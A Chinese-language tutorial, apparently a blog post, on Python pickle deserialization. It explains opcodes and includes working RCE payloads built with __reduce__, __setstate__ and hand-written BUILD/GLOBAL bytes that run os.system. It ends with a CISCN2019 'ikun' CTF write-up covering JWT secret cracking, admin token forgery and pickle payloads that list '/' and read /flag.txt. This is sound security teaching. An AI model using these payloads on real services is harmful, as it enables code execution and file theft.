关于Pickle反序列化的研究总结和一道例题

什么是Python反序列化

python的反序列化相对于php反序列化比较的单一，php反序列化通过不断的变量覆盖，使得各个

方法之间互相调用，从而导致了恶意方法的调用，而对于python反序列化，通过恶意的构造语

句，实现了的命令执行，他更加像是一种命令的注入

python反序列化相当于把程序运行时产生的变量，字典，对象实例等变换成字符串形式存储起来，以便后续调用，恢复保存前的状态

python中反序列化的库主要有两个，pickle和cPickle，这俩除了运行效率上有区别外，其他没啥区别

pickle的常用方法有

import pickle

a_list = ['a','b','c']

# pickle构造出的字符串，有很多个版本。在dumps或loads时，可以用Protocol参数指定协议版本，例如指定为0号版本
# 目前这些协议有0,2,3,4号版本，默认为3号版本。这所有版本中，0号版本是人类最可读的；之后的版本加入了一大堆不可打印字符，不过这些新加的东西都只是为了优化，本质上没有太大的改动。
# 一个好消息是，pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。
# pickle.dumps将对象反序列化为字符串
# pickle.dump将反序列化后的字符串存储为文件
print(pickle.dumps(a_list,protocol=0))

pickle.loads() #对象反序列化
pickle.load() #对象反序列化，从文件中读取数据

输出反序列化

读入反序列化

v0 版协议是原始的 "人类可读" 协议，并且向后兼容早期版本的 Python。

v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。

v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。

v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。

v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。

反序列化流程分析

import pickle
import pickletools

a_list = ['a','b','c']

a_list_pickle = pickle.dumps(a_list,protocol=0)
print(a_list_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_list_pickle)
print(a_list_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_list_pickle)

指令集如下：

MARK = b'(' # push special markobject on stack

STOP = b'.' # every pickle ends with STOP

POP = b'0' # discard topmost stack item

POP_MARK = b'1' # discard stack top through topmost markobject

DUP = b'2' # duplicate top stack item

FLOAT = b'F' # push float object; decimal string argument

INT = b'I' # push integer or bool; decimal string argument

BININT = b'J' # push four-byte signed int

BININT1 = b'K' # push 1-byte unsigned int

LONG = b'L' # push long; decimal string argument

BININT2 = b'M' # push 2-byte unsigned int

NONE = b'N' # push None

PERSID = b'P' # push persistent object; id is taken from string arg

BINPERSID = b'Q' # " " " ; " " " " stack

REDUCE = b'R' # apply callable to argtuple, both on stack

STRING = b'S' # push string; NL-terminated string argument

BINSTRING = b'T' # push string; counted binary string argument

SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes

UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument

BINUNICODE = b'X' # " " " ; counted UTF-8 string argument

APPEND = b'a' # append stack top to list below it

BUILD = b'b' # call setstate or dict.update()

GLOBAL = b'c' # push self.find_class(modname, name); 2 string args

DICT = b'd' # build a dict from stack items

EMPTY_DICT = b'}' # push empty dict

APPENDS = b'e' # extend list on stack by topmost stack slice

GET = b'g' # push item from memo on stack; index is string arg

BINGET = b'h' # " " " " " " ; " " 1-byte arg

INST = b'i' # build & push class instance

LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg

LIST = b'l' # build list from topmost stack items

EMPTY_LIST = b']' # push empty list

OBJ = b'o' # build & push class instance

PUT = b'p' # store stack top in memo; index is string arg

BINPUT = b'q' # " " " " " ; " " 1-byte arg

LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg

SETITEM = b's' # add key+value pair to dict

TUPLE = b't' # build tuple from topmost stack items

EMPTY_TUPLE = b')' # push empty tuple

SETITEMS = b'u' # modify dict by adding topmost key+value pairs

BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py

FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

这一个序列化的例子的理解

b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'
    0: \x80 PROTO      3    #标明使用协议版本
    2: ]    EMPTY_LIST  #将空列表压入栈
    3: (    MARK    #将标志压入栈
    4: X        BINUNICODE 'a'  #unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  #将3号标志后的数据压入列表
   # 弹出栈中的数据，结束流程
   23: .    STOP
highest protocol among opcodes = 2

另一个更复杂的例子

import pickle
import pickletools
import base64

class a_class():
    def __init__(self):
        self.age = 114514
        self.name = "QAQ"
        self.list = ["1919","810","qwq"]
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)

b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'

b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'

0: \x80 PROTO 3

push self.find_class(modname, name); 连续读取两个字符串作为参数，以\n为界

这里就是self.find_class('main', 'a_class');

需要注意的版本不同，find_class函数也不同

2: c GLOBAL 'main a_class'

不影响反序列化

20: q BINPUT 0

向栈中压入一个元组

22: ) EMPTY_TUPLE

见pickletools源码第2097行（注意版本）

大意为，该指令之前的栈内容应该为一个类（2行GLOBAL创建的类），类后为一个元组（22行压入的TUPLE），调用cls.new(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空）

23: \x81 NEWOBJ

24: q BINPUT 1

压入一个新的字典

26: } EMPTY_DICT

27: q BINPUT 2

一个标志

29: ( MARK

压入unicode值

30: X BINUNICODE 'age'

38: q BINPUT 3

40: J BININT 114514

45: X BINUNICODE 'name'

54: q BINPUT 4

56: X BINUNICODE 'QAQ'

64: q BINPUT 5

66: X BINUNICODE 'list'

75: q BINPUT 6

77: ] EMPTY_LIST

78: q BINPUT 7

又一个标志

80: ( MARK

81: X BINUNICODE '1919'

90: q BINPUT 8

92: X BINUNICODE '810'

100: q BINPUT 9

102: X BINUNICODE 'qwq'

110: q BINPUT 10

将第80行的mark之后的值压入第77行的列表

112: e APPENDS (MARK at 80)

详情见pickletools源码第1674行（注意版本）

大意为将任意数量的键值对添加到现有字典中

Stack before: ... pydict markobject key_1 value_1 ... key_n value_n

Stack after: ... pydict

113: u SETITEMS (MARK at 29)

通过__setstate__或更新__dict__完成构建对象（对象为我们在23行创建的）。

如果对象具有__setstate__方法，则调用anyobject .setstate（参数）

如果无__setstate__方法，则通过anyobject.dict.update(argument)更新值

注意这里可能会产生变量覆盖

114: b BUILD

弹出栈中的数据，结束流程

115: . STOP

highest protocol among opcodes = 2

漏洞分析

RCE：常用的__reduce__

ctf中大多数常见的pickle反序列化，利用方法大都是__reduce__

触发__reduce__的指令码为R

取当前栈的栈顶记为args，然后把它弹掉。

取当前栈的栈顶记为f，然后把它弹掉。

以args为参数，执行函数f，把结果压进当前栈。

只要在序列化中的字符串中存在R指令，__reduce__方法就会被执行，无论正常程序中是否写明了__reduce__方法。例如：

import pickle
import pickletools
import base64

class a_class():
	def __init__(self):
		self.age = 114514
		self.name = "QAQ"
		self.list = ["1919","810","qwq"]
	def __reduce__(self):
		return (__import__('os').system, ("whoami",))
		
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)

'''
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: q    BINPUT     0
   15: X    BINUNICODE 'whoami'
   26: q    BINPUT     1
   28: \x85 TUPLE1
   29: q    BINPUT     2
   31: R    REDUCE
   32: q    BINPUT     3
   34: .    STOP
highest protocol among opcodes = 2
'''

把生成的payload拿到无__reduce__的正常程序中，命令仍然会被执行

生成payload时使用的python版本尽量与目标上的版本一致

#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64

class rayi(object):
	def __reduce__(self):
		# 未导入os模块，通用
		return (__import__('os').system, ("whoami",))
		# return eval,("__import__('os').system('whoami')",)
		# return map, (__import__('os').system, ('whoami',))
		# return map, (__import__('os').system, ['whoami'])
 
		# 导入os模块
		# return (os.system, ('whoami',))
		# return eval, ("os.system('whoami')",)
		# return map, (os.system, ('whoami',))
		# return map, (os.system, ['whoami'])
 
a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)

类似方法

而在python中，同样的有几个内置方法，会在对象被反序列化时调用。他们分别是：

reduce()

reduce_ex()

setstate()

通过在他们下面写入有问题的shellcode，造成rce

demo:

import pickle
import pickletools
import os
class obj:
    def __init__(self,str1,str2):
        self.str1=str1;
        self.str2=str2;
    def __setstate__(self,name):
        os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj("str1","str2")
a=pickle.dumps(class1)
print(a)
b=a
pickle.loads(b)

效果：

setstate方法

def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return

state会从栈里面去除一个字符，同时inst也会去栈里面取出栈尾的字符

如果 inst 拥有 setstate 方法，则把 state 交给 setstate 方法来处理；否则的话，直接把

state 这个 dist 的内容，合并到 inst.dict 里面。

假设有是这个方法，那我们可以先构造把 setstate 方法构造成os.system，然后再次built，将这个值build为"ls /"，但是这个时候会被因为已经存在这个方法，那么就会被交给setstate去处理，于是乎就造成了rce

import pickle
import pickletools
import os
class obj:
    def __init__(self):
        self.str1="str1";
        self.str2="str2";
# def __setstate__(self):
# os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj()
a=pickle.dumps(class1)
print(a)#在这里输出
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x9
3\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06ub.'
b=b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\
x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06V__setstate__\nco
s\nsystem\nubVdir\nb.'
pickle.loads(b)
#pickletools.dis(b)

加入了恶意的字符串

(V__setstate__\ncos\nsystem\nubV\nb.'

达到rce

全局变量包含覆盖：c指令码

c指令码可以用来调用全局的xxx.xxx的值

例子

import secret
import pickle
import pickletools

class flag():
    def __init__(self,a,b):
        self.a = a
        self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)

your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')
else:
    print('No!')

# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'

在我们不知道secret.py中值的情况下，如何构造满足条件的payload，拿到flag呢？

利用c指令：

这是一般情况下的flag类

λ python app.py

b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'

0: \x80 PROTO 3

2: c GLOBAL 'main flag'

17: q BINPUT 0

19: ) EMPTY_TUPLE

20: \x81 NEWOBJ

21: q BINPUT 1

23: } EMPTY_DICT

24: q BINPUT 2

26: ( MARK

27: X BINUNICODE 'a'

33: q BINPUT 3

35: X BINUNICODE 'A'

41: q BINPUT 4

43: X BINUNICODE 'b'

49: q BINPUT 5

51: X BINUNICODE 'B'

57: q BINPUT 6

59: u SETITEMS (MARK at 26)

60: b BUILD

61: . STOP

highest protocol among opcodes = 2

如果我们手动把payload修改一下，将a和b的值改为secret.a，secret.b

原来的：b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 现在的： b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'

我们成功的调用了secret.py中的变量

RCE：BUILD指令

通过BUILD指令与C指令的结合，我们可以把改写为os.system或其他函数

假设某个类原先没有__setstate__方法，我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时，因为没有__setstate__方法，所以就执行update，这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用"ls /"来再次BUILD这个对象，则会执行setstate("ls /")，而此时__setstate__已经被我们设置为os.system，因此实现了RCE.

看看怎么实现的，以flag类为例

import pickle
import pickletools

class flag():
    def __init__(self):
        pass
new_flag = pickle.dumps(flag(),protocol=3)
print(new_flag)
pickletools.dis(new_flag)

# your_payload = b'?'
# other_flag = pickle.loads(your_payload)

根据BUILD的说明，我们需要构造一个字典

b'\x80\x03c__main__\nflag\nq\x00)\x81}.'

接下来往字典里放值，先放一个mark

b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'

放键值对

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'

第一次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'

放参数

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'

第二次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

完成，测试一下

import pickle
import pickletools

class flag():
    def __init__(self):
        pass
#new_flag = pickle.dumps(flag(),protocol=3)
#print(new_flag)
#pickletools.dis(new_flag)

your_payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
other_flag = pickle.loads(your_payload)
pickletools.dis(your_payload)

成功在不使用R指令的情况下完成了RCE

laptop-07540gp4\leo

0: \x80 PROTO 3

2: c GLOBAL 'main flag'

17: q BINPUT 0

19: ) EMPTY_TUPLE

20: \x81 NEWOBJ

21: } EMPTY_DICT

22: ( MARK

23: V UNICODE 'setstate'

37: c GLOBAL 'os system'

48: u SETITEMS (MARK at 22)

49: b BUILD

50: V UNICODE 'whoami'

58: b BUILD

59: . STOP

highest protocol among opcodes = 2

[CISCN2019 华北赛区 Day1 Web2]ikun

进去之后发现是一个好像设计啥购买东西的网页，看到提示说一定要买到lv6!！

我们发现了规律，第几个lv对应的图片就是就是几png，直接翻到181页发现的，或者写脚本跑也可以

去购买这个lv6的账号,直接抓包修改折扣

然后出现了/b1g_m4mber回显

那么我们尝试解解jwt看看能不能发现什么，JSON Web Tokens - jwt.io

可以知道username对应我们的用户名，需要将这里改成admin即可，但是我们还不知道他的jwt字符串的密钥

这里看了大佬师傅的博客知道了可以使用c-jwt-cracker来破解密码

爆出密钥是1Kun

将username数值替换为admin，将密钥改为1Kun，即可得到伪造后的JWT

将伪造好的JWT替换原来的JWT

我们查看源码

有源码泄露，下载下来查看，发现存在Pickle反序列化

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":        #验证是否账户时是admin
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated                  #自动验证登录信息
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))         #对传入的become进行操作
            return self.render('form.html', res=p, member=1)#向form.html传递参数
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

重点来看这一块，对我们传入的become参数进行操作，并且用到pickle这个东西，我们可以利用其进行文件读取，并将flag传回form.html中

become = self.get_argument('become')

p = pickle.loads(urllib.unquote(become))

return self.render('form.html', res=p, member=1)

那么根据之前的知识我们可以通过构造类，通过__reduce的魔术方法来实现执行python代码

通过os.listdir（）函数来获取目录下所有文件的名字。这里我们设置起始为根目录

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
    def __reduce__(self):
        return (os.listdir,('/',))   
 
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a

将序列化的字符串替换become中的参数（点击一键成为大会员按钮，抓包发现有become参数，替换become参数）

发现flag.txt

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))
 
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))

获取flag

参考博客：

Code-Breaking中的两个Python沙箱 | 离别歌 (leavesongs.com)

Python pickle 反序列化详解 - FreeBuf网络安全行业门户

关于Pickle反序列化总结_pickle 反序列化_桃雾雨Rain的博客-CSDN博客

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_lkun 端口_fly夏天的博客-CSDN博客

pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)